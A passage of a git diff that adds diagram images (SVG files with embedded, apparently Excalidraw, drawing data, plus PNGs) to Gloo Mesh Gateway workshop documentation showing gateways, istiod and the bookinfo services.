MWRcdTAwMTFusvO0MFx1MDAxNeU0dpTCn4tcdTAwMTFj6Vx1MDAwMqZcdTAwMDCz2yRuzo/fV5RtK1x1MDAxNKyeYUbMNJhcdTAwMTfYpM1cbu+klCndxfmsU1x1MDAwMjee+S8t24Kp+9fdXHUwMDA1ut6ebFx1MDAwYj5z0FpcInOsXHUwMDFiPW4tvCluTGVcdTAwMWLnXHUwMDA22oNcItWgNVx1MDAxNMJcdTAwMWXZZqpcdTAwMTdcdTAwMDGCk1x1MDAxYyEldlNcdTAwMTlcdTAwMWEzZlx1MDAwMfTjQoJcdISR8olXNlx1MDAwNFx1MDAwMvDRlEiC/XeWd/gt2jSeRVx1MDAxYTpm+K+UbO3aRF2VXHUwMDFleTN5kns8Olx1MDAxZZf00XUmXHUwMDAwIIFAXHUwMDAzy1xuTCxcdTAwMTMyRKhv1XtcdTAwMDHWXHUwMDEwXHUwMDAxQMFBjaN1q96vUq1cdTAwMWHpmSvX9OE14TN+tVx1MDAxZTVQXHUwMDFj59SUVVx1MDAwMrIk3kl9JcmWXGIkbnN5yHpFyVx1MDAxNpqVXHUwMDFlUvZemio5plRSZOGWnuCUyFx1MDAxZKN0JjdVzZRdXHUwMDE5JIvPW1x1MDAxNW5bN0tcdTAwMTVcIpbA82uh8lx1MDAxYULGXHUwMDA3Mb/0wsS2U28hSu81R0vEPyVcdTAwMTaE8YNiR/pgnCpEi/fqXe3w6eWuz8qPp/rhot9JTf520vVP77Vccsbd0fJ+lWGX9rj1fWDE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lalx1MDAwYnvWpdXCS0FNRPXGXHUwMDFlNi96veJ9u1x1MDAxNG1cXFx1MDAwZrfuuvmas6qsJ9BcdTAwMDZcdTAwMDGQ0zL6KWv49se0YYBCMlxcM2iLbEszbKN1LiZcdTAwMWNcdTAwMTHJmeOLfYPea47S+Yd35/90XHUwMDA2dv/NWfT2XHUwMDEzmucuQT0hxf5hxlx1MDAwN78nvD6Cc8aAeXp7gMFGKVx1MDAxM9FZtdu8eHtq2dUh5o+1XHUwMDE3PqKXk1Lci/5LZjpzzS+5yKnIXHUwMDAyXHUwMDFi4uParI7ddjGcXHUwMDA2TFx1MDAwZnaOI80xTlx1MDAxOO4pc1+7lfZFuXddXHUwMDFlPp3eTe+H6PlcdTAwMDfDbVx1MDAwYsPtaHm/+bDLoKH/XHUwMDAzI862UX8sJfuvXHUwMDAzXi7Iq0zj6vQ9l7jbXHUwMDAyKTRen991ppt9qvN8hqBMTySmvbhCQ0eYjqeAXHUwMDBmiDKMmIp+mFx1MDAxZL7/McWGWHJcdTAwMTSucoTFtqVytlx1MDAwMlx1MDAwZbkp52hcdTAwMDJcdTAwMWJ+wOGngsMleGpcdTAwMGLgMOTgQlx1MDAwNNpwzCRcdTAwMTBwvUKhoXDJXHUwMDE304NcdTAwMGLBmKWVOf5cdTAwMTKSm+TTXHUwMDA1NqXKklx1MDAwMJGFqTkhXHUwMDFjXHUwMDE5sFs9uVDawkSZtGfzk1win3p7xNKCcLhHOeNcXGPqSZeAXHUwMDFiVJiy1Dvj3691dGFcdTAwMGVllZi1YTZZyj7nXHUwMDE2JsFcdTAwMDBhkzMrfkWE/n7HiudcdTAwMTbhXGZ84D63kMjkXGZIQpg23dh9umxii0gsXGLiXG7eXCJcdTAwMTnxnlx1MDAxM3+xhpaB1G2uhJew5+P95XxdXbpJXHUwMDEyXGZDNGVwn85TbZeLt1BcdTAwMDBcdTAwMTZT8aaxtpjGJkSSwc+FkqIg3mD5XHQ3XHUwMDE5XHUwMDExgjiram23XHUwMDFiOVx1MDAxMFx1MDAwMGNYYVOdW2O/fFBsMcSAUaniplx1MDAxMlx1MDAwMkNcdTAwMWV8YvpXI0z/5dItsiwxKdnaVILCmEiTi45cdTAwMWTplPNcdTAwMDYtXHUwMDE4XHUwMDExmCA1ZVxcNFx1MDAxMt7ItUhcdTAwMDJumrd740LttlO4f32RpdrrYIyv/CeFlKl4pDRcdTAwMTdYm3hb77msNIUtmVx1MDAwMoqjhlx1MDAwMenXjqZcdTAwMGKmbXMlvGS9NeGmULD73WRVXHRzJlx1MDAxZlm4hVx1MDAxZmjEU7iB2raUMDmCXHUwMDE0JFx1MDAxY3Ugot+yzbSn0CC5JJKSqOB44Y2gXHUwMDFisyiTWDLMZ/Xv/GKFgVUpRUa+MpN3z71cdTAwMWTymDB9u4ja3UFtLKRbuFx1MDAxZtyNlDBcdTAwMDKFZSpsXHUwMDEwqijYsD6tv7llwomkkHhWXHUwMDE0cs1g4edUt3pRerpcdTAwMWTlipnKVU9cck/LV9Mg+Fx1MDAwNpKNXHUwMDEzU4JIilnIsGdSYNVzXHUwMDAweMxkMChcdTAwMDDjW2lHvr+wk0Dynt31Uvb2sJsjXHUwMDFmfEG8XHQhjD+cR4du4ceq8ZRuWprO9mC+KIONqVo8XFykXHUwMDAy7Fx1MDAxYlxyQo5cdTAwMDBJXCK+I+m2XHLDXHUwMDE0MIiAO+rfbplGlm4g3DTSnDJl2sk5W7s5rUApNGhwZILxhf5cYsRfXHUwMDE1ukVcdTAwMGZhxqaZXHUwMDE5QqbsmmldzLyyTVtAXHUwMDAzIG2ZoKbAzFZcIur+xYZp+JlscFx1MDAxNyPMuSn6jlfo9lx1MDAxMt7XMa4ucsa169jVXHLgQN1Y3HlaullcdTAwMTPjIFx1MDAxMUeQckVpML8yx0RY2nk5pvInS12YNHfB4lx1MDAxOWp3mKFVfpPKtlHtpJS4OrffipfO9uVcdTAwMWWV/HEn/FBqT72T12c7olx1MDAwMl1CRFx1MDAxYf8p4tFcdTAwMGamXkm3YF+q9tv5bZVNSuwhUTg5Wlx1MDAwN1YsUvYueU65olmROz2eUlx1MDAxY5XnXCIkWf5X2WblatnLc2tGQoBccme8ovFkscRL+3GCn3r0TFxy71uv6lx1MDAxNVx1MDAxN9NP/qzwXHUwMDEzXHSx+rhbX95lQVx1MDAwMP5cdTAwMGb8XHUwMDA0+Vx1MDAxNXSoToLj8E3JeErwXG5JRuHLXHUwMDE5W8CgZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-bookinfo/bookinfo-working.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-bookinfo/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-bookinfo/bookinfo-working.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-bookinfo/initial-setup.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-bookinfo/initial-setup.png new file mode 100644 index 0000000000..6808fffb22 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-bookinfo/initial-setup.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg new file mode 100644 index 0000000000..b385df0718 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3fiyrbu+/pcdTAwMTVcdTAwMWXrvG50Kof9Zlx1MDAxYlx1MDAxYjDGXHRcdTAwMWPvOsODnINcdCbssf/7nUV3XHUwMDFiXHUwMDAxklx1MDAxMCBcdTAwMTm521pr4DbgUqlqhm/OmuE/f1x1MDAxZFx1MDAxZP09nPbKf//76O/ypJhv1Uv9/Pjvf5n338v9Qb3bgY/I/PdBd9Qvzr9ZXHUwMDFiXHUwMDBle4N//+//5ns9a/FXVrHb/vGX5Va5Xe5cZlx1MDAwN/Dd/1x1MDAwN79cdTAwMWZcdTAwMWT9Z/5qu1e/XFxcdTAwMWPmO9VWef5cdTAwMDfzj1x1MDAxNrfjnK++e9XtzG+NhZaaXCLE0Mc36oM43G9YLsHHlXxrUF58Yt76+7w9QrHe5eCsl34/K43bVzzWeVxc3LZSb7Wyw2nrx4Pli7VR3zapwbDfbZZcdTAwMWbrpWHN3H3l/Y+/XHUwMDFidGFcdFx1MDAxNn/V746qtU55MFj6m24vX6xcdTAwMGan5j20mP6PVfj30eKdXHT8RpWylFx1MDAxNopwal5cdTAwMDVjXHUwMDFmXHUwMDFmm1x1MDAwMVxiVtxinCrNpUZYKLEys9Nuq9s3M/tcdTAwMWakZIVcdTAwMTdcdTAwMTZzK+SLzSpMsFNafFx1MDAwN5OCUmLxnfHP5yVIWcR2scVtauV6tTY03yHC0vZrMdNBeb4pmGtMMaFYfnxiJtBLlVx1MDAxNlx1MDAwNPLjydrj8lNXvqTvdOP5ZNa4XHUwMDE2T/nE3z8//7/Vta/l+72fa/z3wPxie0bzeGerRGgnRFx1MDAxYn3ESrXL4clJ/4lcdTAwMGXq8Vx1MDAxY84lqy/V9sdYS1Sb7/e7478/Pvnvv7zGPc6Wp685hTp3pNcrXHUwMDE3XHUwMDE0fjx7XHUwMDFj+1x1MDAxYnftkUe9Uv5cdTAwMDeFY8G4QFJjjpD++LxV7zThw86o1frLNrMt2U66slx1MDAxZEFCcso08c92z/dx/ZRcdTAwMWZcdTAwMGZ05qxxfH7x3jg/e+pHne00lpZUXFxiRswrx6tcXCctIVx1MDAwNcZcblx1MDAwMT3r1XlFiulcdTAwMTQnXHUwMDAyMcb478Z0h2FcdTAwMGVcdTAwMTDDrjpJS8SZVlj4Zo7K+UNvNuVP15Na/EE2R2/1tMBRZ1x1MDAwZUyEUTqEKqTNq+15f3BcdTAwMDdRXHUwMDE29sVcdTAwMWTzy5M7hv18Z9DL94GW1jlEablM/etcZqJcdTAwMTSxhO3ia/xcdTAwMDEgXHUwMDAzaVx1MDAwNuozNP6YP9GO/DE5TsVbydH5XaeNplx1MDAxM10jJN4+XHRAKWX02Tj/1rzqXHJp8eG8NqtcdTAwMTT5STLKfEcodec7QINMXHUwMDEySXzzXHUwMDFkqzwkX1x1MDAxZtHTRbMyzHdcdTAwMGJcIsNexUPU+Y5cdTAwMTK8xHarUPDT2E7RzWyHV1x1MDAxOU1IzZFE4nB89tkwirjCKED1XFxtY7vgVqr7Um/djuOF19FFXHUwMDAy3V9cXFc6UadXwahFXHUwMDE2IIrJXHUwMDE1elx1MDAwNTL6KiBKXHUwMDAz9UpcZlx1MDAxNPxccqJcdTAwMDJcdTAwMTHmNlpYYVxyLSjsXHUwMDEypv4x1INM3k5z3f5LoS5a99fTXFxcdTAwMTnfXHUwMDE2o85cdTAwMWKYXHUwMDEy6oWhXHUwMDE4QFx1MDAxYn/CfFx1MDAwZuaQXGJtXHUwMDEy5JisXHRyTFx1MDAxOMeCUP7NXGbBWFx1MDAxNMTVolx1MDAxMIY+XHUwMDA0Qso3M3D5fnrdSZ2nrkqZp4vLbvfmvsm+XHUwMDAwMzAvZlx1MDAxMFx1MDAxNFx1MDAwMzNQqVx1MDAxNehcdTAwMGLGbUgwYG5w0FxyoD+Q/aJr7MC4Ns5IXHUwMDFi4olcdTAwMTI7ZHmrzq9Qo9K8f3/Fk+brsKkzUWZcdTAwMDfCtVx1MDAxYjtgJTFXXHUwMDE07uybXHUwMDFmaKv8wmdXx6excrdwPcs+ijx+duGHXHUwMDE1ul7mXHUwMDA29mncoFx1MDAxOfKC+YRwf7BJXHRS1kVvXiiUWaFUWOdcdTAwMDXYXzey/2Bccts+/WRcdTAwMDVcdTAwMDJITzJcckgpkqzATmW9Pk1P6rNB6rmYenvIvNw9ObPCsDxcdTAwMTn6NaXlsF5cdTAwMTiUZ4pcXDzVW0/tSqz8RJk/XHUwMDBl81x1MDAxY/fs9fZcdTAwMTRn2MW4W8jgm6ehTicn2Vx1MDAwMMYtvlx1MDAxN1x1MDAxMjLeOWnk6jSrktNcXOP0rFx1MDAxMMC4gS/v0rf/5feGnyC/liZkXHUwMDE3XUKtvvtLdEmCXHUwMDE4lYj51+Tey1x1MDAxOVFNrlx1MDAxOfeUXXNF7kN2VebX7i5cbsxcdTAwMTd3/lx1MDAxMFi2xf+AssqILFx1MDAxNaJTYpPA2ok6XHUwMDE3VNDtXGaz9dmPo5mld8/z7XprurSRc7KFKdU71T7M7uifTlx1MDAxNW44zk/t6zwow33MeGz5XHUwMDBmj1v1amcuPmDm5f5cdTAwMTL5XHUwMDBm68V86+NcdTAwMGLteqlkV+1FmE1cdTAwMWXG7Kf8aORuv16td/Kt3Mpkf011XHUwMDBmnI1cXD2IXHUwMDA0YYYo1rbT1U3s2Ym9VZq3r2zYXHUwMDFmXGZcbunn0UXx6aFcdTAwMWJxYEGVXHUwMDE3c1x1MDAxYfdiRIFcdTAwMDVWlGKOcURNzpvb02b5tjjEN+piJG5ztH99V/9cdTAwMDZcdTAwMTZBXHUwMDAxi5CWN6Rh8UOnKIpcdTAwMGavhUb58Vx1MDAxNFx1MDAxZCduT9D4aq9V2ISDnFx1MDAxZuSAOIhSV1x1MDAxM04gKlx1MDAxOVwiW1x1MDAxY5F6b1NkcVx1MDAxMPVcdTAwMTa1Pr17n4SDtORcdTAwMDJsa3E48XpcdTAwMDBcdTAwMThUzlx1MDAwZobj8mB4IFx1MDAxY7RcdTAwMDFArOKgj9nuXHUwMDBmhJh2XHUwMDBmq5NcdTAwMWEpQYE2ffPn+9tlazaJo0lcdTAwMGY1Y1wi+XLzcjyTu1x1MDAwMKHP406GMYBcdTAwMTCpqeDzV8WX2dPEXHUwMDE1gKlcIiTlQmpmXHUwMDBmXHUwMDFh2P4oNWAopCkmXFyC0Vx1MDAxMkkk9FhcdTAwMWFeXGLSnd70aa/+8DaoX15cctU3XHUwMDEyXG5cblx0hbS8X2tYfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdYuhXHUwMDAyLOdcdTAwMDc5IMDizCNcdTAwMTiGaVx1MDAwMVx1MDAwMFx1MDAwYvk3Zb33KaJcYoth4SnDNWaW9CXDQ8FYxCn6WXOq5Fx1MDAwMc+JXHUwMDBl4WtcdTAwMWFcZuvdkiOwsoWBXHUwMDA3XG6sNlx1MDAwMJI1XHUwMDA3049cdTAwMTnuXHUwMDBlpzjCbswoJOFcXCn/x1VvV7Fav/VA05fJXG7jnbvXYWVcdTAwMTiLNpjS3JxHMTDs8Px1xdTRXGJZ1PhYXHUwMDE5sCHiypVccv1AKUJUoexwdLtcdTAwMWKUkkgzmDM/nP